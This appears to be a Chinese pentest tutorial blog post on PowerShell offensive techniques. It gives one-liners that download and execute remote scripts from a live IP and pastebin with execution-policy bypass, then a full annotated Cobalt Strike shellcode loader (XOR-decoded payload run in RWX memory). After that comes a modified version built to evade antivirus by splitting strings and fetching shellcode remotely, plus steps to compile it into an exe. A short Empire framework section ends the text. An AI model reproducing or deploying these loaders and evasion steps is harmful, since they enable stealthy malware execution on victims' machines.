Powershell渗透框架
Powershell基础
基本
windows下的cat
1
type
删除文件
1
del /f(强制)
复制文件
1
copy
移动文件
1
move
查看进程
1
tasklist
查看系统的版本
1
systenminfo
运行powersehll
本地运行
1
2powershell -ep bypass -f .\test.ps1
powersehll -f test.ps1远程运行
可以绕过绝大多数的杀毒软件
1
2powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/M676F14U')"
powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://139.155.49.43:8000/cmd')"把远程url下载到内存里的字符串当作powersehll 脚本执行
现在来做演示
使用Pastebin.com - #1 paste tool since 2002!挂载代码
粘贴文件创建文件然后出现下面这个
生成了一个这个界面之后,点击raw
就发现成功的执行了,但是实际上一般都是放到vps 上面,然后开启一个 http.server 的服务,就可以成功的访问了
执行策略(面试)
查看当前的执行策略
1
Get-ExecutionPolicy
查看所有的执行策略
1
Get-ExecutionPolicy -list
执行策略
名称 说明 AllSigned 允许执行所有具有数字签名的脚本 Bypass 不阻止任何操作,并且没有任何警告或者提示 Default 设置默认执行策略。Restricted 适用于 Windows 客户端。为 Windows 服务器远程签名。 RemoteSigned 允许执行具有数字签名的通过网络下载的脚本;本地创建的脚本不要求脚本具有数字签名,可以直接执行。 Restricted 受限制的,可以执行单个的命令,但不能执行脚本,执行就会报错,Windows 8,Windows 8.1,Windows Server 2012中默认策略。 Undefined Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略 Unrestricted 允许运行未签名的脚本。从网络上下载的脚本,在运行前会进行安全性提示。需要确认是否执行脚本。 注意几个完全可以执行文件的策略
绕过执行策略
远程直接加载(免杀)
很重要,因为无文件落地
添加参数
1
-ep
无内存加载
使用前面提到的远程加载
使用cs
为了能免杀通过我们可以尝试做一下免杀,但是现在这些免杀技巧都是不能使用的
尝试获取它默认的payload
首先改一下
先改成echo
查看加密之后的是什么
将输入导入新的文件,将添加echo的文件添加
查看cs2
发现就是一个简单加载bin文件的一个脚本,之所以会被查杀,就是因为bin文件里面有特征码
如果我们可以直接加载文件,而不是以字符串的形式就可以了
具体的过程是,先加载
1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://139.155.49.43:8088/a'))"
但是一般使用下面这个
1
powershell.exe -c "IEX ((new-object net.webclient).downloadstring('http://139.155.49.43:8088/a'))"
cs1.ps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58# 启用 PowerShell 的严格模式,并设置版本为 2
# 强制要求变量在使用之前必须先声明,并且不允许使用未定义的属性、方法和变量等。
Set-StrictMode -Version 2
# 定义func_get_proc_address函数
function func_get_proc_address {
# 函数接收两个参数,$var_module表示要加载函数的DLL库名称,$var_procedure 表示要查找的函数名称。
Param ($var_module, $var_procedure)
# 通过GetAssemblies()方法获取当前应用程序域中已加载的所有程序集,然后使用Where-Object过滤出所有在全局程序集缓存中且名称为System.dll的程序集。
# 从 System.dll 中加载 Microsoft.Win32.UnsafeNativeMethods 类
# 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
# 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象并获取 GetProcAddress 方法。
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
# 然后通过调用该对象的Invoke()方法,获取函数地址。
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
# 定义func_get_delegate_type函数,创建一个新的委托类型,并返回改类型
function func_get_delegate_type {
# 函数接收两个参数,$var_parameters 表示该委托类型所接受的参数为类型数组,是必需的参数。
# $var_return_type 表示该委托类型的返回值类型。默认为 [Void]
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
# 使用 .NET 的 Reflection.Emit 命名空间动态创建具有指定参数和返回类型的新委托类型。
# 然后它为该委托类型定义一个构造函数和 Invoke 方法,并返回类型对象。
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
# 通过比较IntPtr类型的大小是否为8字节,来判断系统是否为64位
If ([IntPtr]::size -eq 8) {
# base64解码操作
[Byte[]]$var_code = [System.Convert]::FromBase64String('...base64加密后的payload...')
# 将byte数组进行xor异或操作
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
# Marshal 类:提供了一个方法集合,这些方法用于分配非托管内存、复制非托管内存块、将托管类型转换为非托管类型,此外还提供了在与非托管代码交互时使用的其他杂项方法。
# GetDelegateForFunctionPointer<TDelegate>(IntPtr):[在 .NET Framework 4.5.1 和更高版本中受支持] 将非托管函数指针转换为指定类型的委托。
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
# 申请一块内存
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
# 将payload复制到内存
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
# 执行内存中的payload
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}修改后的powershell加载器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30Set-StrictMode -Version 2
function func_get_delegate_type_new {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
function func_get_proc_address_new {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
$var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
If ([IntPtr]::size -eq 8) {
[Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}下载文件
通过接受本地或者远程的 payload 实现加载器与shellcode分离
1
2
3powershell -ep bypass -f d.ps1 new.bin
powershell -ep bypass -f d.ps1 http://139.155.49.43:8000/shell1.bin或者将powershell 转成 exe免杀
1
powershell.exe -ep bypass -command "&'.\ps2exe.ps1' -inputFile 'd.ps1' -outputFile 'd.exe'"
基于上面的免杀使用流程
将shellcode加载器变成exe
也就是将下面这个变成exe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30Set-StrictMode -Version 2
function func_get_delegate_type_new {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
function func_get_proc_address_new {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
$var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
If ([IntPtr]::size -eq 8) {
[Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}然后将第一个下载的文件改成echo > cs2.ps1
也就是下面这个文件
然后从cs2.ps1 中提取出有用的payload部分
后面的参数部分,嵌入到其他文件
1
2
3
4
5
6$enc=[System.Convert]::FromBase64String('...base64加密后的payload...')
for ($x = 0; $x -lt $enc.Count; $x++) {
$enc[$x] = $enc[$x] -bxor 35
}
$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)产生了一个新的文件
1
2powershell -ep bypass -f d.ps1 new.bin
powershell -ep bypass -f d.ps1 http://139.155.49.43:8000/shell1.bin或者是将shellcode加载器变成exe
1
2shellcodeloader.exe new.bin
shellcodeloader.exe http://139.155.49.43:8000/shell1.bin
Powershell工具框架-Empire
Empire简介
Empire 是一个针对内网渗透的渗透测试框架
Empire 是一个PowerShell后期漏洞利用工代理工具同时也是一款很强大的后渗透测神器,它建立在 密码学、安全通信和灵架构之上。Empire 实现了无需 Powershell.exe 就可运行 PowerShell 代理的功能。快速部署后期漏洞利用模块,从键盘记录器到Mimikatz,并且能够适应通信躲避网络 检测,所有的这些功能都封装在一个以实用性为重点的框架中。
安装
kali直接安装
1 |
|
docker 拉取镜像docker
1 |
|
修改kali 的配置文件/etc/powershell-empire/client/config.yaml 的 servers:
修改成自己的地址
然后直接执行这个命令
使用
基本逻辑都是一样的,首先进入到listeners
创建一个http的监听器,根据提示填写
1 |
|
1 |
|
将获得的bat文件弄出来,运行之后就上线了
Empire图形界面工具Starkiller
这个只是一个客户端,服务端建议还是使用kali 或者docker 下载
安装
1 |
|